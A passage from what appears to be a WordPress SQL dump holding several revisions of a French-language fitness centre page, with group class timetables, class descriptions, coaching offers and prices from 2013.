class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:49:46', '2013-10-05 08:49:46', '', 11, 'http://www.crosstrainingcenter.be/11-revision-120/', 0, 'revision', '', 0),
(351, 1, '2013-10-05 08:51:38', '2013-10-05 08:51:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:51:38', '2013-10-05 08:51:38', '', 11, 'http://www.crosstrainingcenter.be/11-revision-122/', 0, 'revision', '', 0),
(348, 1, '2013-10-05 08:48:06', '2013-10-05 08:48:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:48:06', '2013-10-05 08:48:06', '', 11, 